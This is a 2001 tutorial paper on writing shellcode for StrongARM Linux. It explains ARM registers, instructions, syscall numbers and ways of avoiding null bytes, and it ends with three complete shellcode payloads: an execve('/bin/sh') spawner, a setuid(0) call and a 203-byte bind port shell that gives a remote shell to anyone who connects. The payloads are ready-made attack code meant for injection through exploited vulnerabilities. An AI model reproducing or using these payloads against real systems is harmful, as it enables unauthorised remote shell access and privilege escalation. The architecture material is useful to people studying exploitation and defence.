

"Into my ARMs"

Developing StrongARM/Linux shellcode

by *funkysh <funkysh@sm.pl>*

16.12.2001

----{ Introduction

This paper covers informations needed to write StrongARM Linux shellcode. All examples presented in this paper was developed on Compaq iPAQ H3650 with Intel StrongARM-1110 processor running Debian Linux. Note that this document is not a complete ARM architecture guide nor an assembly language tutorial, while I hope it also does not contain any major bugs, it is perhaps worth noting that StrongARM can be not fully compatible with other ARMs (however, I often refer just to "ARM" when I think it is not an issue). Document is divided into nine sections:

- * Brief history of ARM
- * ARM architecture
- * ARM registers
- * Instruction set
- * System calls
- * Common operations
- * Null avoiding
- * Example codes
- * References

----{ Brief history of ARM

First ARM processor (ARM stands for Advanced RISC Machine) was designed and manufactured by Acorn Computer Group in the middle of 80's. Since beginning goal was to construct low cost processor with low power consumption, high performance and power efficiency. In 1990 Acorn together with Apple Computer set up a new company Advanced RISC Machines Ltd. Nowadays ARM Ltd does not make processors only designs them and licenses the design to third party manufacturers. ARM technology is currently licensed by number of huge companies including Lucent, 3Com, HP, IBM, Sony and many others.

StrongARM is a result of ARM Ltd and Digital work on design that use the instruction set of the ARM processors, but which is built with the chip technology of the Alpha series. Digital sold off

its chip manufacturing to Intel Corporation. Intel's StrongARM (including SA-110 and SA-1110) implements the ARM v4 architecture defined in [1].

----{ ARM architecture

The ARM is a 32-bit microprocessor designed in RISC architecture, what means it has reduced instruction set in opposite to typical CISC like x86 or m68k. Advantages of reduced instruction set includes possibility of optimising speed using for example pipelining or hard-wired logic. Also instructions and addressing modes can made identical for most instructions. ARM is a load/store architecture where data-processing operations only operate on register contents, not directly on memory contents. It is also supporting additional features like Load and Store Multiple instructions and conditional execution of all instructions. Obviously every instruction has the same length of 32 bits.

----{ ARM registers

ARM has 16 visible 32 bit registers: r0 to r14 and r15 (pc). To simplify the thing we can say there is 13 'general-purpose' registers - r0 to r12 (registers from r0 to r7 are unbanked registers which means they refers to the same 32-bit physical register in all processor modes, they have no special use and can be used freely wherever an general-purpose register is allowed in instruction) and three registers reserved for 'special' purposes (in fact all 15 registers are general-purpose):

- r13 (sp) - stack pointer
- r14 (lr) - link register
- r15 (pc/psr) - program counter/status register

Register r13 also known as 'sp' is used as stack pointer and both with link register are used to implement functions or subroutines in ARM assembly language. The link register - r14 also known as 'lr' is used to hold subroutine return address. When a subroutine call is performed by eg. bl instruction r14 is set to return address of subroutine. Then subroutine return is performed by copying r14 back into program counter.

Stack on the ARM grows to the lower memory addresses and stack pointer points to the last item written to it, it is called "full descending stack". For example result of placing 0x41 and then 0x42 on the stack looks that way:

memory address	stack value
0xbfffffdfc:	0x00000041
sp -> 0xbfffffdf8:	0x00000042

----{ Instruction set

As written above ARM like most others RISC CPUs has fixed-length (in this case 32 bits wide) instructions. It was also mentioned that all instructions can be conditional, so in bit representation top 4 bits (31-28) are used to specify condition under which the instruction is executed.

Instruction interesting for us can be devided into four classes:

- branch instructions,
- load and store instructions,
- data-processing instructions,
- exception-generating instructions,

Status register transfer and coprocessor instructions are ommitted here.

1. Branch instructions

There are two branch instructions:

branch: b <24 bit signed offset>

branch with link: bl <24 bit signed offset>

Executing 'branch with link' - as mentioned in previous section, results with setting 'lr' with address of next instruction.

2. Data-processing instructions

Data-processing instructions in general uses 3-address format:

<opcode mnemonic> <destination> <operand 1> <operand 2>

Destination is always register, operand 1 also must be one of r0 to r15 registers, and operand 2 can be register, shifted register or immediate value.

Some examples:

	addition:	add	add r1,r1,#65	set r1 = r1 + 65	
	subtraction:	sub	sub r1,r1,#65	set r1 = r1 - 65	
	logical AND:	and	and r0,r1,r2	set r0 = r1 AND r2	
logical	exclusive OR:	eor	eor r0,r1,#65	set r0 = r1 XOR r2	
	logical OR:	orr	orr r0,r1,r2	set r0 = r1 OR r2	
	move:	mov	mov r2,r0	set r2 = r0	

3. Load and store instructions

Load register from memory: `ldr rx, <address>`

Example: `ldr r0, [r1]` load `r0` with 32 bit word from address specified in `r1`, there is also `ldrb` instruction responsible for loading 8 bits, and analogical instructions for storing registers in memory:

store register in memory: `str rx, <address>` (store 32 bits)
`strb rx, <address>` (store 8 bits)

ARM support also storing/loading of multiple registers, it is quite interesting feature from optimization point of view, here go `stm` (store multiple registers in memory):

`stm <base register><stack type>(!), {register list}`

Base register can by any register, but typically stack pointer is used.

For example: `stmdfd sp!, {r0-r3, r6}` store registers `r0, r1, r2, r3` and `r6` on the stack (in full descending mode - notice additional mnemonic "fd" after `stm`) stack pointer will points to the place where `r0` register is stored.

Analogical instruction to load of multiple registers from memory is: `ldm`

4. Exception-generating instructions

Software interrupt: `swi <number>` is only interesting for us, it perform software interrupt exception, it is used as system call.

List of instructions presented in this section is not complete, a full set can be obtained from [1].

----{ Syscalls

On Linux with StrongARM processor, syscall base is moved to 0x900000, this is not good information for shellcode writers, since we have to deal with instruction opcode containing zero byte.

Example "exit" syscall looks that way:

```
swi 0x900001 [ 0xef900001 ]
```

Here goes a quick list of syscalls which can be usable when writing shellcodes (return value of the syscall is usually stored in r0):

```
execve:  
-----  
    r0 = const char *filename  
    r1 = char *const argv[]  
    r2 = char *const envp[]  
call number = 0x90000b  
  
setuid:  
-----  
    r0 = uid_t uid  
call number = 0x900017  
  
dup2:  
-----  
    r0 = int oldfd  
    r1 = int newfd  
call number = 0x90003f  
  
socket:  
-----  
    r0 = 1 (SYS_SOCKET)  
    r1 = ptr to int domain, int type, int protocol  
call number = 0x900066 (socketcall)  
  
bind:  
-----  
    r0 = 2 (SYS_BIND)  
    r1 = ptr to int sockfd, struct sockaddr *my_addr,  
         socklen_t addrlen  
call number = 0x900066 (socketcall)  
  
listen:
```

```

-----
      r0 = 4 (SYS_LISTEN)
      r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)

accept:
-----
      r0 = 5 (SYS_ACCEPT)
      r1 = ptr int s, struct sockaddr *addr,
            socklen_t *addrlen
call number = 0x900066 (socketcall)

```

----{ Common operations

Loading high values

Because all instructions on the ARM occupies 32 bit word including place for opcode, condition and register numbers, there is no way for loading immediate high value into register in one instruction. This problem can be solved by feature called 'shifting'. ARM assembler use six additional mnemonics responsible for the six different shift types:

```

lsl - logical shift left
asl - arithmetic shift left
lsr - logical shift right
asr - arithmetic shift right
ror - rotate right
rrx - rotate right with extend

```

Shifters can be used with the data processing instructions, or with `ldr` and `str` instruction. For example, to load `r0` with `0x900000` we perform following operations:

```

mov   r0, #144          ; 0x90
mov   r0, r0, lsl #16    ; 0x90 << 16 = 0x900000

```

Position independence

Obtaining own code position is quite easy since `pc` is general-purpose register and can be either readed at any moment or loaded with 32 bit value to perform jump into any address in memory.

For example, after executing:

```

sub   r0, pc, #4

```

address of next instruction will be stored in register r0.

Another method is executing branch with link instruction:

```
bl      sss
swi    0x900001
sss:   mov    r0, lr
```

Now r0 points to "swi 0x900001".

Loops

Let's say we want to construct loop to execute some instruction three times. Typical loop will be constructed this way:

```
        mov    r0, #3      <- loop counter
loop: ...
       sub    r0, r0, #1 <- r0 = r0 - 1
       cmp    r0, #0      <- check if r0 == 0 already
       bne    loop        <- goto loop if no (if Z flag != 1)
```

This loop can be optimised using subs instruction which will set z flag for us when r0 reach 0, so we can eliminate a cmp.

```
        mov    r0, #3
loop: ...
       subs   r0, r0, #1
       bne    loop
```

Nop instruction

On ARM "mov r0, r0" is used as nop, however it contain nulls so any other "neutral" instruction have to be used when writting proof of concept codes for vulnerabilities, "mov r1, r1" is just an example.

```
mov    r1, r1      [ 0xe1a01001 ]
```

----{ Null avoiding

Almost any instruction which use r0 register generates 'zero' on ARM, this can be usually solved by replacing it with other instruction or using self-modifying code.

For example:

e3a00041 mov r0, #65 can be replaced with:

```
e0411001      sub    r1, r1, r1  
e2812041      add    r2, r1, #65  
e1a00112      mov    r0, r2, lsl r1 (r0 = r2 << 0)
```

Syscall can be patched in following way:

```
e28f1004      add    r1, pc, #4    <- get address of swi  
e0422002      sub    r2, r2, r2  
e5c12001      strb   r2, [r1, #1]   <- patch 0xff with 0x00  
ef90ff0b      swi    0x90ff0b      <- crippled syscall
```

Store/Load multiple also generates 'zero', even if r0 register is not used:

```
e92d001e      stmfd sp!, {r1, r2, r3, r4}
```

In example codes presented in next section I used storing with link register:

```
e04ee00e      sub    lr, lr, lr  
e92d401e      stmfd sp!, {r1, r2, r3, r4, lr}
```

----{ Example codes

```
/*  
 * 47 byte StrongARM/Linux execve() shellcode  
 * funkysh  
 */  
  
char shellcode[] = "\x02\x20\x42\xe0" /* sub r2, r2, r2 */  
"\x1c\x30\x8f\xe2" /* add r3, pc, #28 */  
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */  
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */  
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */  
"\x07\x20\xc3\xe5" /* strb r2, [r3, #7] */  
"\x04\x30\x8f\xe2" /* add r3, pc, #4 */  
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */  
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */  
"\x0b\xff\x90\xef" /* swi 0x90ff0b */  
"/bin/sh";
```

```
/*  
 * 20 byte StrongARM/Linux setuid() shellcode  
 * funkysh  
 */  
  
char shellcode[] = "\x02\x20\x42\xe0" /* sub r2, r2, r2 */  
"\x04\x10\x8f\xe2" /* add r1, pc, #4 */  
"\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */  
"\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */
```

```

"\x17\xff\x90\xef"; /* swi 0x90ff17 */

/*
 * 203 byte StrongARM/Linux bind() portshell shellcode
 * funkysh
 */

char shellcode[] = "\x20\x60\x8f\xe2" /* add r6, pc, #32 */
    "\x07\x70\x47\xe0" /* sub r7, r7, r7 */
    "\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
    "\x01\x30\x87\xe2" /* add r3, r7, #1 */
    "\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
    "\x01\x20\x83\xe2" /* add r2, r3, #1 */
    "\x07\x40\xa0\xe1" /* mov r4, r7 */
    "\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
    "\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
    "\x0d\x10\xa0\xe1" /* mov r1, sp */
    "\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
    "\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
    "\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
    "\x14\x20\xa0\xe3" /* mov r2, #20 */
    "\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
    "\x02\x20\x82\xe2" /* add r2, r2, #2 */
    "\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
    "\x10\x30\xa0\xe3" /* mov r3, #16 */
    "\x0d\x20\xa0\xe1" /* mov r2, sp */
    "\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
    "\x02\x20\xa0\xe3" /* mov r2, #2 */
    "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
    "\x0d\x10\xa0\xe1" /* mov r1, sp */
    "\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
    "\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
    "\x02\x20\x82\xe2" /* add r2, r2, #2 */
    "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
    "\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
    "\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
    "\x01\x20\x82\xe2" /* add r2, r2, #1 */
    "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
    "\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
    "\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
    "\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
    "\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
    "\x02\x10\xa0\xe3" /* mov r1, #2 */
    "\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
    "\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */
    "\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
    "\x01\x10\x51\xe2" /* subs r1, r1, #1 */
    "\xfb\xff\xff\x5a" /* bpl <dup2> */
    "\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
    "\x14\x30\x8f\xe2" /* add r3, pc, #20 */
    "\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
    "\x04\x10\x8d\xe2" /* add r1, sp, #4 */
    "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
    "\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
    "\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
    "\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
"/bin/sh";

```

----{ References:

- [1] ARM Architecture Reference Manual - Issue D,
2000 Advanced RISC Machines LTD
- [2] Intel StrongARM SA-1110 Microprocessor Developer's Manual,
2001 Intel Corporation
- [3] Using the ARM Assembler,
1988 Advanced RISC Machines LTD
- [4] ARM8 Data Sheet,
1996 Advanced RISC Machines LTD